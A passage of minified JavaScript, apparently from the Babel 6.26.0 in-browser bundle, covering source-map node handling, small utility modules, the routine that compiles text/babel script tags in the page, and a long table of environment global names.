t,r=0,n=this.children.length;r<n;r++)t=this.children[r],t[o]?t.walk(e):""!==t&&e(t,{source:this.source,line:this.line,column:this.column,name:this.name})},n.prototype.join=function(e){var t,r,n=this.children.length;if(n>0){for(t=[],r=0;r<n-1;r++)t.push(this.children[r]),t.push(e);t.push(this.children[r]),this.children=t}return this},n.prototype.replaceRight=function(e,t){var r=this.children[this.children.length-1];return r[o]?r.replaceRight(e,t):"string"==typeof r?this.children[this.children.length-1]=r.replace(e,t):this.children.push("".replace(e,t)),this},n.prototype.setSourceContent=function(e,t){this.sourceContents[s.toSetString(e)]=t},n.prototype.walkSourceContents=function(e){for(var t=0,r=this.children.length;t<r;t++)this.children[t][o]&&this.children[t].walkSourceContents(e);for(var n=Object.keys(this.sourceContents),t=0,r=n.length;t<r;t++)e(s.fromSetString(n[t]),this.sourceContents[n[t]])},n.prototype.toString=function(){var e="";return this.walk(function(t){e+=t}),e},n.prototype.toStringWithSourceMap=function(e){var t={code:"",line:1,column:0},r=new i(e),n=!1,s=null,a=null,o=null,u=null;return this.walk(function(e,i){t.code+=e,null!==i.source&&null!==i.line&&null!==i.column?(s===i.source&&a===i.line&&o===i.column&&u===i.name||r.addMapping({source:i.source,original:{line:i.line,column:i.column},generated:{line:t.line,column:t.column},name:i.name}),s=i.source,a=i.line,o=i.column,u=i.name,n=!0):n&&(r.addMapping({generated:{line:t.line,column:t.column}}),s=null,n=!1);for(var l=0,c=e.length;l<c;l++)10===e.charCodeAt(l)?(t.line++,t.column=0,l+1===c?(s=null,n=!1):n&&r.addMapping({source:i.source,original:{line:i.line,column:i.column},generated:{line:t.line,column:t.column},name:i.name})):t.column++}),this.walkSourceContents(function(e,t){r.setSourceContent(e,t)}),{code:t.code,map:r}},t.SourceNode=n},function(e,t,r){"use strict";var n=r(180)();e.exports=function(e){return"string"==typeof e?e.replace(n,""):e}},function(e,t,r){(function(t){"use strict";var r=t.argv,n=r.indexOf("--"),i=function(e){e="--"+e;var t=r.indexOf(e);return-1!==t&&(-1===n||t<n)};e.exports=function(){return"FORCE_COLOR"in t.env||!(i("no-color")||i("no-colors")||i("color=false"))&&(!!(i("color")||i("colors")||i("color=true")||i("color=always"))||!(t.stdout&&!t.stdout.isTTY)&&("win32"===t.platform||("COLORTERM"in t.env||"dumb"!==t.env.TERM&&!!/^screen|^xterm|^vt100|color|ansi|cygwin|linux/i.test(t.env.TERM))))}()}).call(t,r(8))},function(e,t){"use strict";var r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e};e.exports=function e(t){function n(){}function i(){return r(s.foo)}n.prototype=t;var s=new n;return i(),i(),t}},function(e,t){"use strict";e.exports=function(e){for(var t=e.length;/[\s\uFEFF\u00A0]/.test(e[t-1]);)t--;return e.slice(0,t)}},function(e,t){"use strict";"function"==typeof Object.create?e.exports=function(e,t){e.super_=t,e.prototype=Object.create(t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}})}:e.exports=function(e,t){e.super_=t;var r=function(){};r.prototype=t.prototype,e.prototype=new r,e.prototype.constructor=e}},function(e,t){"use strict";var r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e};e.exports=function(e){return e&&"object"===(void 0===e?"undefined":r(e))&&"function"==typeof e.copy&&"function"==typeof e.fill&&"function"==typeof e.readUInt8}},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.version="6.26.0"},function(e,t){"use strict";function r(e,t){var r=void 0;return null!=t.url?r=t.url:(r="Inline Babel script",++p>1&&(r+=" ("+p+")")),e(t.content,l({filename:r},n(t))).code}function n(e){return{presets:e.presets||["react","es2015"],plugins:e.plugins||["transform-class-properties","transform-object-rest-spread","transform-flow-strip-types"],sourceMaps:"inline"}}function i(e,t){var n=document.createElement("script");n.text=r(e,t),f.appendChild(n)}function s(e,t,r){var n=new XMLHttpRequest;return n.open("GET",e,!0),"overrideMimeType"in n&&n.overrideMimeType("text/plain"),n.onreadystatechange=function(){if(4===n.readyState){if(0!==n.status&&200!==n.status)throw r(),new Error("Could not load "+e);t(n.responseText)}},n.send(null)}function a(e,t){var r=e.getAttribute(t);return""===r?[]:r?r.split(",").map(function(e){return e.trim()}):null}function o(e,t){function r(){var t,r;for(r=0;r<o;r++)if(t=n[r],t.loaded&&!t.executed)t.executed=!0,i(e,t);else if(!t.loaded&&!t.error&&!t.async)break}var n=[],o=t.length;t.forEach(function(e,t){var i={async:e.hasAttribute("async"),error:!1,executed:!1,plugins:a(e,"data-plugins"),presets:a(e,"data-presets")};e.src?(n[t]=l({},i,{content:null,loaded:!1,url:e.src}),s(e.src,function(e){n[t].loaded=!0,n[t].content=e,r()},function(){n[t].error=!0,r()})):n[t]=l({},i,{content:e.innerHTML,loaded:!0,url:null})}),r()}function u(e,t){f=document.getElementsByTagName("head")[0],t||(t=document.getElementsByTagName("script"));for(var r=[],n=0;n<t.length;n++){var i=t.item(n),s=i.type.split(";")[0];-1!==c.indexOf(s)&&r.push(i)}0!==r.length&&(console.warn("You are using the in-browser Babel transformer. Be sure to precompile your scripts for production - https://babeljs.io/docs/setup/"),o(e,r))}Object.defineProperty(t,"__esModule",{value:!0});var l=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e};t.runScripts=u;var c=["text/jsx","text/babel"],f=void 0,p=0},function(e,t){e.exports={builtin:{Array:!1,ArrayBuffer:!1,Boolean:!1,constructor:!1,DataView:!1,Date:!1,decodeURI:!1,decodeURIComponent:!1,encodeURI:!1,encodeURIComponent:!1,Error:!1,escape:!1,eval:!1,EvalError:!1,Float32Array:!1,Float64Array:!1,Function:!1,hasOwnProperty:!1,Infinity:!1,Int16Array:!1,Int32Array:!1,Int8Array:!1,isFinite:!1,isNaN:!1,isPrototypeOf:!1,JSON:!1,Map:!1,Math:!1,NaN:!1,Number:!1,Object:!1,parseFloat:!1,parseInt:!1,Promise:!1,propertyIsEnumerable:!1,Proxy:!1,RangeError:!1,ReferenceError:!1,Reflect:!1,RegExp:!1,Set:!1,String:!1,Symbol:!1,SyntaxError:!1,System:!1,toLocaleString:!1,toString:!1,TypeError:!1,Uint16Array:!1,Uint32Array:!1,Uint8Array:!1,Uint8ClampedArray:!1,undefined:!1,unescape:!1,URIError:!1,
valueOf:!1,WeakMap:!1,WeakSet:!1},es5:{Array:!1,Boolean:!1,constructor:!1,Date:!1,decodeURI:!1,decodeURIComponent:!1,encodeURI:!1,encodeURIComponent:!1,Error:!1,escape:!1,eval:!1,EvalError:!1,Function:!1,hasOwnProperty:!1,Infinity:!1,isFinite:!1,isNaN:!1,isPrototypeOf:!1,JSON:!1,Math:!1,NaN:!1,Number:!1,Object:!1,parseFloat:!1,parseInt:!1,propertyIsEnumerable:!1,RangeError:!1,ReferenceError:!1,RegExp:!1,String:!1,SyntaxError:!1,toLocaleString:!1,toString:!1,TypeError:!1,undefined:!1,unescape:!1,URIError:!1,valueOf:!1},es6:{Array:!1,ArrayBuffer:!1,Boolean:!1,constructor:!1,DataView:!1,Date:!1,decodeURI:!1,decodeURIComponent:!1,encodeURI:!1,encodeURIComponent:!1,Error:!1,escape:!1,eval:!1,EvalError:!1,Float32Array:!1,Float64Array:!1,Function:!1,hasOwnProperty:!1,Infinity:!1,Int16Array:!1,Int32Array:!1,Int8Array:!1,isFinite:!1,isNaN:!1,isPrototypeOf:!1,JSON:!1,Map:!1,Math:!1,NaN:!1,Number:!1,Object:!1,parseFloat:!1,parseInt:!1,Promise:!1,propertyIsEnumerable:!1,Proxy:!1,RangeError:!1,ReferenceError:!1,Reflect:!1,RegExp:!1,Set:!1,String:!1,Symbol:!1,SyntaxError:!1,System:!1,toLocaleString:!1,toString:!1,TypeError:!1,Uint16Array:!1,Uint32Array:!1,Uint8Array:!1,Uint8ClampedArray:!1,undefined:!1,unescape:!1,URIError:!1,valueOf:!1,WeakMap:!1,WeakSet:!1},browser:{addEventListener:!1,alert:!1,AnalyserNode:!1,Animation:!1,AnimationEffectReadOnly:!1,AnimationEffectTiming:!1,AnimationEffectTimingReadOnly:!1,AnimationEvent:!1,AnimationPlaybackEvent:!1,AnimationTimeline:!1,applicationCache:!1,ApplicationCache:!1,ApplicationCacheErrorEvent:!1,atob:!1,Attr:!1,Audio:!1,AudioBuffer:!1,AudioBufferSourceNode:!1,AudioContext:!1,AudioDestinationNode:!1,AudioListener:!1,AudioNode:!1,AudioParam:!1,AudioProcessingEvent:!1,AutocompleteErrorEvent:!1,BarProp:!1,BatteryManager:!1,BeforeUnloadEvent:!1,BiquadFilterNode:!1,Blob:!1,blur:!1,btoa:!1,Cache:!1,caches:!1,CacheStorage:!1,cancelAnimationFrame:!1,cancelIdleCallback:!1,CanvasGradient:!1,CanvasPattern:!1,CanvasRenderingContext2D:!1,CDATASection:!1,ChannelMergerNode:!1,ChannelSplitterNode:!1,CharacterData:!1,clearInterval:!1,clearTimeout:!1,clientInformation:!1,ClientRect:!1,ClientRectList:!1,ClipboardEvent:!1,close:!1,closed:!1,CloseEvent:!1,Comment:!1,CompositionEvent:!1,confirm:!1,console:!1,ConvolverNode:!1,createImageBitmap:!1,Credential:!1,CredentialsContainer:!1,crypto:!1,Crypto:!1,CryptoKey:!1,CSS:!1,CSSAnimation:!1,CSSFontFaceRule:!1,CSSImportRule:!1,CSSKeyframeRule:!1,CSSKeyframesRule:!1,CSSMediaRule:!1,CSSPageRule:!1,CSSRule:!1,CSSRuleList:!1,CSSStyleDeclaration:!1,CSSStyleRule:!1,CSSStyleSheet:!1,CSSSupportsRule:!1,CSSTransition:!1,CSSUnknownRule:!1,CSSViewportRule:!1,customElements:!1,CustomEvent:!1,DataTransfer:!1,DataTransferItem:!1,DataTransferItemList:!1,Debug:!1,defaultStatus:!1,defaultstatus:!1,DelayNode:!1,DeviceMotionEvent:!1,DeviceOrientationEvent:!1,devicePixelRatio:!1,dispatchEvent:!1,document:!1,Document:!1,DocumentFragment:!1,DocumentTimeline:!1,DocumentType:!1,DOMError:!1,DOMException:!1,DOMImplementation:!1,DOMParser:!1,DOMSettableTokenList:!1,DOMStringList:!1,DOMStringMap:!1,DOMTokenList:!1,DragEvent:!1,DynamicsCompressorNode:!1,Element:!1,ElementTimeControl:!1,ErrorEvent:!1,event:!1,Event:!1,EventSource:!1,EventTarget:!1,external:!1,FederatedCredential:!1,fetch:!1,File:!1,FileError:!1,FileList:!1,FileReader:!1,find:!1,focus:!1,FocusEvent:!1,FontFace:!1,FormData:!1,frameElement:!1,frames:!1,GainNode:!1,Gamepad:!1,GamepadButton:!1,GamepadEvent:!1,getComputedStyle:!1,getSelection:!1,HashChangeEvent:!1,Headers:!1,history:!1,History:!1,HTMLAllCollection:!1,HTMLAnchorElement:!1,HTMLAppletElement:!1,HTMLAreaElement:!1,HTMLAudioElement:!1,HTMLBaseElement:!1,HTMLBlockquoteElement:!1,HTMLBodyElement:!1,HTMLBRElement:!1,HTMLButtonElement:!1,HTMLCanvasElement:!1,HTMLCollection:!1,HTMLContentElement:!1,HTMLDataListElement:!1,HTMLDetailsElement:!1,HTMLDialogElement:!1,HTMLDirectoryElement:!1,HTMLDivElement:!1,HTMLDListElement:!1,HTMLDocument:!1,HTMLElement:!1,HTMLEmbedElement:!1,HTMLFieldSetElement:!1,HTMLFontElement:!1,HTMLFormControlsCollection:!1,HTMLFormElement:!1,HTMLFrameElement:!1,HTMLFrameSetElement:!1,HTMLHeadElement:!1,HTMLHeadingElement:!1,HTMLHRElement:!1,HTMLHtmlElement:!1,HTMLIFrameElement:!1,HTMLImageElement:!1,HTMLInputElement:!1,HTMLIsIndexElement:!1,HTMLKeygenElement:!1,HTMLLabelElement:!1,HTMLLayerElement:!1,HTMLLegendElement:!1,HTMLLIElement:!1,HTMLLinkElement:!1,HTMLMapElement:!1,HTMLMarqueeElement:!1,HTMLMediaElement:!1,HTMLMenuElement:!1,HTMLMetaElement:!1,HTMLMeterElement:!1,HTMLModElement:!1,HTMLObjectElement:!1,HTMLOListElement:!1,HTMLOptGroupElement:!1,HTMLOptionElement:!1,HTMLOptionsCollection:!1,HTMLOutputElement:!1,HTMLParagraphElement:!1,HTMLParamElement:!1,HTMLPictureElement:!1,HTMLPreElement:!1,HTMLProgressElement:!1,HTMLQuoteElement:!1,HTMLScriptElement:!1,HTMLSelectElement:!1,HTMLShadowElement:!1,HTMLSourceElement:!1,HTMLSpanElement:!1,HTMLStyleElement:!1,HTMLTableCaptionElement:!1,HTMLTableCellElement:!1,HTMLTableColElement:!1,HTMLTableElement:!1,HTMLTableRowElement:!1,HTMLTableSectionElement:!1,HTMLTemplateElement:!1,HTMLTextAreaElement:!1,HTMLTitleElement:!1,HTMLTrackElement:!1,HTMLUListElement:!1,HTMLUnknownElement:!1,HTMLVideoElement:!1,IDBCursor:!1,IDBCursorWithValue:!1,IDBDatabase:!1,IDBEnvironment:!1,IDBFactory:!1,IDBIndex:!1,IDBKeyRange:!1,IDBObjectStore:!1,IDBOpenDBRequest:!1,IDBRequest:!1,IDBTransaction:!1,IDBVersionChangeEvent:!1,Image:!1,ImageBitmap:!1,ImageData:!1,indexedDB:!1,innerHeight:!1,innerWidth:!1,InputEvent:!1,InputMethodContext:!1,IntersectionObserver:!1,IntersectionObserverEntry:!1,Intl:!1,KeyboardEvent:!1,KeyframeEffect:!1,KeyframeEffectReadOnly:!1,length:!1,localStorage:!1,location:!1,Location:!1,locationbar:!1,matchMedia:!1,MediaElementAudioSourceNode:!1,MediaEncryptedEvent:!1,MediaError:!1,MediaKeyError:!1,MediaKeyEvent:!1,MediaKeyMessageEvent:!1,MediaKeys:!1,MediaKeySession:!1,MediaKeyStatusMap:!1,MediaKeySystemAccess:!1,MediaList:!1,MediaQueryList:!1,MediaQueryListEvent:!1,MediaSource:!1,MediaRecorder:!1,MediaStream:!1,MediaStreamAudioDestinationNode:!1,MediaStreamAudioSourceNode:!1,MediaStreamEvent:!1,MediaStreamTrack:!1,menubar:!1,MessageChannel:!1,MessageEvent:!1,MessagePort:!1,MIDIAccess:!1,MIDIConnectionEvent:!1,MIDIInput:!1,MIDIInputMap:!1,MIDIMessageEvent:!1,MIDIOutput:!1,MIDIOutputMap:!1,MIDIPort:!1,MimeType:!1,MimeTypeArray:!1,MouseEvent:!1,moveBy:!1,moveTo:!1,MutationEvent:!1,MutationObserver:!1,MutationRecord:!1,name:!1,NamedNodeMap:!1,navigator:!1,Navigator:!1,Node:!1,NodeFilter:!1,NodeIterator:!1,NodeList:!1,Notification:!1,OfflineAudioCompletionEvent:!1,OfflineAudioContext:!1,offscreenBuffering:!1,onbeforeunload:!0,onblur:!0,onerror:!0,onfocus:!0,onload:!0,onresize:!0,onunload:!0,open:!1,openDatabase:!1,opener:!1,opera:!1,Option:!1,OscillatorNode:!1,outerHeight:!1,outerWidth:!1,PageTransitionEvent:!1,pageXOffset:!1,pageYOffset:!1,parent:!1,PasswordCredential:!1,Path2D:!1,performance:!1,Performance:!1,PerformanceEntry:!1,PerformanceMark:!1,PerformanceMeasure:!1,PerformanceNavigation:!1,PerformanceResourceTiming:!1,PerformanceTiming:!1,PeriodicWave:!1,Permissions:!1,PermissionStatus:!1,personalbar:!1,Plugin:!1,PluginArray:!1,PopStateEvent:!1,postMessage:!1,print:!1,ProcessingInstruction:!1,ProgressEvent:!1,PromiseRejectionEvent:!1,prompt:!1,PushManager:!1,PushSubscription:!1,RadioNodeList:!1,Range:!1,ReadableByteStream:!1,ReadableStream:!1,removeEventListener:!1,Request:!1,requestAnimationFrame:!1,requestIdleCallback:!1,resizeBy:!1,resizeTo:!1,Response:!1,RTCIceCandidate:!1,RTCSessionDescription:!1,RTCPeerConnection:!1,screen:!1,Screen:!1,screenLeft:!1,ScreenOrientation:!1,screenTop:!1,screenX:!1,screenY:!1,ScriptProcessorNode:!1,scroll:!1,scrollbars:!1,scrollBy:!1,scrollTo:!1,scrollX:!1,scrollY:!1,SecurityPolicyViolationEvent:!1,Selection:!1,self:!1,ServiceWorker:!1,ServiceWorkerContainer:!1,ServiceWorkerRegistration:!1,sessionStorage:!1,setInterval:!1,setTimeout:!1,ShadowRoot:!1,SharedKeyframeList:!1,SharedWorker:!1,showModalDialog:!1,SiteBoundCredential:!1,speechSynthesis:!1,SpeechSynthesisEvent:!1,SpeechSynthesisUtterance:!1,status:!1,statusbar:!1,stop:!1,Storage:!1,StorageEvent:!1,styleMedia:!1,StyleSheet:!1,StyleSheetList:!1,SubtleCrypto:!1,SVGAElement:!1,SVGAltGlyphDefElement:!1,SVGAltGlyphElement:!1,SVGAltGlyphItemElement:!1,SVGAngle:!1,SVGAnimateColorElement:!1,SVGAnimatedAngle:!1,SVGAnimatedBoolean:!1,SVGAnimatedEnumeration:!1,SVGAnimatedInteger:!1,SVGAnimatedLength:!1,SVGAnimatedLengthList:!1,SVGAnimatedNumber:!1,SVGAnimatedNumberList:!1,SVGAnimatedPathData:!1,SVGAnimatedPoints:!1,SVGAnimatedPreserveAspectRatio:!1,SVGAnimatedRect:!1,SVGAnimatedString:!1,SVGAnimatedTransformList:!1,SVGAnimateElement:!1,SVGAnimateMotionElement:!1,SVGAnimateTransformElement:!1,SVGAnimationElement:!1,SVGCircleElement:!1,SVGClipPathElement:!1,SVGColor:!1,SVGColorProfileElement:!1,SVGColorProfileRule:!1,SVGComponentTransferFunctionElement:!1,SVGCSSRule:!1,SVGCursorElement:!1,SVGDefsElement:!1,SVGDescElement:!1,SVGDiscardElement:!1,SVGDocument:!1,SVGElement:!1,SVGElementInstance:!1,SVGElementInstanceList:!1,SVGEllipseElement:!1,SVGEvent:!1,SVGExternalResourcesRequired:!1,SVGFEBlendElement:!1,SVGFEColorMatrixElement:!1,SVGFEComponentTransferElement:!1,SVGFECompositeElement:!1,SVGFEConvolveMatrixElement:!1,SVGFEDiffuseLightingElement:!1,SVGFEDisplacementMapElement:!1,SVGFEDistantLightElement:!1,SVGFEDropShadowElement:!1,SVGFEFloodElement:!1,SVGFEFuncAElement:!1,SVGFEFuncBElement:!1,SVGFEFuncGElement:!1,SVGFEFuncRElement:!1,SVGFEGaussianBlurElement:!1,SVGFEImageElement:!1,SVGFEMergeElement:!1,SVGFEMergeNodeElement:!1,SVGFEMorphologyElement:!1,SVGFEOffsetElement:!1,SVGFEPointLightElement:!1,SVGFESpecularLightingElement:!1,SVGFESpotLightElement:!1,SVGFETileElement:!1,SVGFETurbulenceElement:!1,SVGFilterElement:!1,SVGFilterPrimitiveStandardAttributes:!1,SVGFitToViewBox:!1,SVGFontElement:!1,SVGFontFaceElement:!1,SVGFontFaceFormatElement:!1,SVGFontFaceNameElement:!1,SVGFontFaceSrcElement:!1,SVGFontFaceUriElement:!1,SVGForeignObjectElement:!1,SVGGElement:!1,SVGGeometryElement:!1,SVGGlyphElement:!1,SVGGlyphRefElement:!1,SVGGradientElement:!1,SVGGraphicsElement:!1,SVGHKernElement:!1,SVGICCColor:!1,SVGImageElement:!1,SVGLangSpace:!1,SVGLength:!1,SVGLengthList:!1,SVGLinearGradientElement:!1,SVGLineElement:!1,SVGLocatable:!1,SVGMarkerElement:!1,SVGMaskElement:!1,SVGMatrix:!1,SVGMetadataElement:!1,SVGMissingGlyphElement:!1,SVGMPathElement:!1,SVGNumber:!1,SVGNumberList:!1,SVGPaint:!1,SVGPathElement:!1,SVGPathSeg:!1,SVGPathSegArcAbs:!1,SVGPathSegArcRel:!1,SVGPathSegClosePath:!1,SVGPathSegCurvetoCubicAbs:!1,SVGPathSegCurvetoCubicRel:!1,SVGPathSegCurvetoCubicSmoothAbs:!1,SVGPathSegCurvetoCubicSmoothRel:!1,SVGPathSegCurvetoQuadraticAbs:!1,SVGPathSegCurvetoQuadraticRel:!1,SVGPathSegCurvetoQuadraticSmoothAbs:!1,SVGPathSegCurvetoQuadraticSmoothRel:!1,SVGPathSegLinetoAbs:!1,SVGPathSegLinetoHorizontalAbs:!1,SVGPathSegLinetoHorizontalRel:!1,SVGPathSegLinetoRel:!1,SVGPathSegLinetoVerticalAbs:!1,SVGPathSegLinetoVerticalRel:!1,SVGPathSegList:!1,SVGPathSegMovetoAbs:!1,SVGPathSegMovetoRel:!1,SVGPatternElement:!1,SVGPoint:!1,SVGPointList:!1,SVGPolygonElement:!1,SVGPolylineElement:!1,SVGPreserveAspectRatio:!1,SVGRadialGradientElement:!1,SVGRect:!1,SVGRectElement:!1,SVGRenderingIntent:!1,SVGScriptElement:!1,SVGSetElement:!1,SVGStopElement:!1,SVGStringList:!1,SVGStylable:!1,SVGStyleElement:!1,SVGSVGElement:!1,SVGSwitchElement:!1,SVGSymbolElement:!1,SVGTests:!1,SVGTextContentElement:!1,SVGTextElement:!1,SVGTextPathElement:!1,SVGTextPositioningElement:!1,SVGTitleElement:!1,SVGTransform:!1,SVGTransformable:!1,SVGTransformList:!1,SVGTRefElement:!1,SVGTSpanElement:!1,SVGUnitTypes:!1,SVGURIReference:!1,SVGUseElement:!1,SVGViewElement:!1,SVGViewSpec:!1,SVGVKernElement:!1,SVGZoomAndPan:!1,SVGZoomEvent:!1,Text:!1,TextDecoder:!1,TextEncoder:!1,TextEvent:!1,TextMetrics:!1,TextTrack:!1,TextTrackCue:!1,TextTrackCueList:!1,TextTrackList:!1,TimeEvent:!1,TimeRanges:!1,toolbar:!1,top:!1,Touch:!1,TouchEvent:!1,TouchList:!1,TrackEvent:!1,TransitionEvent:!1,TreeWalker:!1,UIEvent:!1,URL:!1,URLSearchParams:!1,ValidityState:!1,VTTCue:!1,WaveShaperNode:!1,WebGLActiveInfo:!1,WebGLBuffer:!1,WebGLContextEvent:!1,WebGLFramebuffer:!1,WebGLProgram:!1,WebGLRenderbuffer:!1,WebGLRenderingContext:!1,WebGLShader:!1,WebGLShaderPrecisionFormat:!1,WebGLTexture:!1,WebGLUniformLocation:!1,WebSocket:!1,WheelEvent:!1,window:!1,Window:!1,Worker:!1,XDomainRequest:!1,XMLDocument:!1,XMLHttpRequest:!1,XMLHttpRequestEventTarget:!1,XMLHttpRequestProgressEvent:!1,XMLHttpRequestUpload:!1,XMLSerializer:!1,XPathEvaluator:!1,XPathException:!1,XPathExpression:!1,XPathNamespace:!1,XPathNSResolver:!1,XPathResult:!1,XSLTProcessor:!1},worker:{applicationCache:!1,atob:!1,Blob:!1,BroadcastChannel:!1,btoa:!1,Cache:!1,caches:!1,clearInterval:!1,clearTimeout:!1,close:!0,console:!1,fetch:!1,FileReaderSync:!1,FormData:!1,Headers:!1,IDBCursor:!1,IDBCursorWithValue:!1,IDBDatabase:!1,IDBFactory:!1,IDBIndex:!1,IDBKeyRange:!1,IDBObjectStore:!1,IDBOpenDBRequest:!1,IDBRequest:!1,IDBTransaction:!1,IDBVersionChangeEvent:!1,ImageData:!1,importScripts:!0,indexedDB:!1,location:!1,MessageChannel:!1,MessagePort:!1,name:!1,navigator:!1,Notification:!1,onclose:!0,onconnect:!0,onerror:!0,onlanguagechange:!0,onmessage:!0,onoffline:!0,ononline:!0,onrejectionhandled:!0,onunhandledrejection:!0,performance:!1,Performance:!1,PerformanceEntry:!1,PerformanceMark:!1,PerformanceMeasure:!1,PerformanceNavigation:!1,PerformanceResourceTiming:!1,PerformanceTiming:!1,postMessage:!0,Promise:!1,Request:!1,Response:!1,self:!0,ServiceWorkerRegistration:!1,setInterval:!1,setTimeout:!1,TextDecoder:!1,TextEncoder:!1,URL:!1,URLSearchParams:!1,WebSocket:!1,Worker:!1,XMLHttpRequest:!1},node:{__dirname:!1,__filename:!1,arguments:!1,Buffer:!1,clearImmediate:!1,clearInterval:!1,clearTimeout:!1,console:!1,exports:!0,GLOBAL:!1,global:!1,Intl:!1,module:!1,process:!1,require:!1,root:!1,setImmediate:!1,setInterval:!1,setTimeout:!1},commonjs:{exports:!0,module:!1,require:!1,global:!1},amd:{define:!1,require:!1},mocha:{after:!1,afterEach:!1,before:!1,beforeEach:!1,context:!1,describe:!1,it:!1,mocha:!1,run:!1,setup:!1,specify:!1,suite:!1,suiteSetup:!1,suiteTeardown:!1,teardown:!1,test:!1,xcontext:!1,xdescribe:!1,xit:!1,xspecify:!1},jasmine:{afterAll:!1,afterEach:!1,beforeAll:!1,beforeEach:!1,describe:!1,expect:!1,fail:!1,fdescribe:!1,fit:!1,it:!1,jasmine:!1,pending:!1,runs:!1,spyOn:!1,spyOnProperty:!1,waits:!1,waitsFor:!1,xdescribe:!1,xit:!1},jest:{afterAll:!1,afterEach:!1,beforeAll:!1,beforeEach:!1,check:!1,describe:!1,expect:!1,gen:!1,it:!1,fdescribe:!1,fit:!1,jest:!1,pit:!1,require:!1,test:!1,xdescribe:!1,xit:!1,xtest:!1},qunit:{asyncTest:!1,deepEqual:!1,equal:!1,expect:!1,module:!1,notDeepEqual:!1,notEqual:!1,notOk:!1,notPropEqual:!1,notStrictEqual:!1,ok:!1,propEqual:!1,QUnit:!1,raises:!1,start:!1,stop:!1,strictEqual:!1,test:!1,throws:!1},phantomjs:{console:!0,exports:!0,phantom:!0,require:!0,WebPage:!0},couch:{emit:!1,exports:!1,getRow:!1,log:!1,module:!1,provides:!1,require:!1,respond:!1,send:!1,start:!1,sum:!1},rhino:{defineClass:!1,deserialize:!1,gc:!1,help:!1,importClass:!1,importPackage:!1,java:!1,load:!1,loadClass:!1,Packages:!1,print:!1,quit:!1,readFile:!1,readUrl:!1,runCommand:!1,seal:!1,serialize:!1,spawn:!1,sync:!1,toint32:!1,version:!1},nashorn:{__DIR__:!1,__FILE__:!1,__LINE__:!1,com:!1,edu:!1,exit:!1,Java:!1,java:!1,javafx:!1,JavaImporter:!1,javax:!1,JSAdapter:!1,load:!1,loadWithNewGlobal:!1,org:!1,Packages:!1,print:!1,quit:!1},wsh:{ActiveXObject:!0,Enumerator:!0,GetObject:!0,ScriptEngine:!0,ScriptEngineBuildVersion:!0,ScriptEngineMajorVersion:!0,ScriptEngineMinorVersion:!0,VBArray:!0,WScript:!0,WSH:!0,XDomainRequest:!0},jquery:{$:!1,jQuery:!1},yui:{Y:!1,YUI:!1,YUI_config:!1},shelljs:{cat:!1,cd:!1,chmod:!1,config:!1,cp:!1,dirs:!1,echo:!1,env:!1,error:!1,exec:!1,exit:!1,find:!1,grep:!1,ls:!1,ln:!1,mkdir:!1,mv:!1,popd:!1,pushd:!1,pwd:!1,rm:!1,sed:!1,set:!1,target:!1,tempdir:!1,test:!1,touch:!1,which:!1},prototypejs:{$:!1,$$:!1,$A:!1,$break:!1,$continue:!1,$F:!1,$H:!1,$R:!1,$w:!1,Abstract:!1,Ajax:!1,Autocompleter:!1,Builder:!1,Class:!1,Control:!1,Draggable:!1,Draggables:!1,Droppables:!1,Effect:!1,Element:!1,Enumerable:!1,Event:!1,Field:!1,Form:!1,Hash:!1,Insertion:!1,ObjectRange:!1,PeriodicalExecuter:!1,Position:!1,Prototype:!1,Scriptaculous:!1,Selector:!1,Sortable:!1,SortableObserver:!1,Sound:!1,Template:!1,Toggle:!1,Try:!1},meteor:{$:!1,_:!1,Accounts:!1,AccountsClient:!1,AccountsServer:!1,AccountsCommon:!1,App:!1,Assets:!1,Blaze:!1,check:!1,Cordova:!1,DDP:!1,DDPServer:!1,DDPRateLimiter:!1,Deps:!1,EJSON:!1,Email:!1,HTTP:!1,Log:!1,Match:!1,Meteor:!1,Mongo:!1,MongoInternals:!1,Npm:!1,Package:!1,Plugin:!1,process:!1,Random:!1,ReactiveDict:!1,ReactiveVar:!1,Router:!1,ServiceConfiguration:!1,Session:!1,share:!1,Spacebars:!1,Template:!1,Tinytest:!1,Tracker:!1,UI:!1,Utils:!1,WebApp:!1,WebAppInternals:!1},mongo:{_isWindows:!1,_rand:!1,BulkWriteResult:!1,cat:!1,cd:!1,connect:!1,db:!1,getHostName:!1,getMemInfo:!1,hostname:!1,ISODate:!1,listFiles:!1,load:!1,ls:!1,md5sumFile:!1,mkdir:!1,Mongo:!1,NumberInt:!1,NumberLong:!1,ObjectId:!1,PlanCache:!1,print:!1,printjson:!1,pwd:!1,quit:!1,removeFile:!1,rs:!1,sh:!1,UUID:!1,version:!1,WriteResult:!1},applescript:{$:!1,Application:!1,Automation:!1,console:!1,delay:!1,Library:!1,ObjC:!1,ObjectSpecifier:!1,Path:!1,Progress:!1,Ref:!1},serviceworker:{caches:!1,Cache:!1,CacheStorage:!1,Client:!1,clients:!1,Clients:!1,ExtendableEvent:!1,ExtendableMessageEvent:!1,FetchEvent:!1,importScripts:!1,registration:!1,self:!1,ServiceWorker:!1,ServiceWorkerContainer:!1,ServiceWorkerGlobalScope:!1,ServiceWorkerMessageEvent:!1,ServiceWorkerRegistration:!1,skipWaiting:!1,WindowClient:!1},atomtest:{advanceClock:!1,fakeClearInterval:!1,fakeClearTimeout:!1,fakeSetInterval:!1,fakeSetTimeout:!1,resetTimeouts:!1,waitsForPromise:!1},embertest:{andThen:!1,click:!1,currentPath:!1,currentRouteName:!1,currentURL:!1,fillIn:!1,find:!1,findWithAssert:!1,keyEvent:!1,pauseTest:!1,resumeTest:!1,triggerEvent:!1,visit:!1},protractor:{$:!1,$$:!1,browser:!1,By:!1,by:!1,DartObject:!1,element:!1,protractor:!1},"shared-node-browser":{clearInterval:!1,clearTimeout:!1,console:!1,setInterval:!1,setTimeout:!1},webextensions:{browser:!1,chrome:!1,opr:!1},greasemonkey:{GM_addStyle:!1,GM_deleteValue:!1,GM_getResourceText:!1,GM_getResourceURL:!1,GM_getValue:!1,GM_info:!1,GM_listValues:!1,GM_log:!1,GM_openInTab:!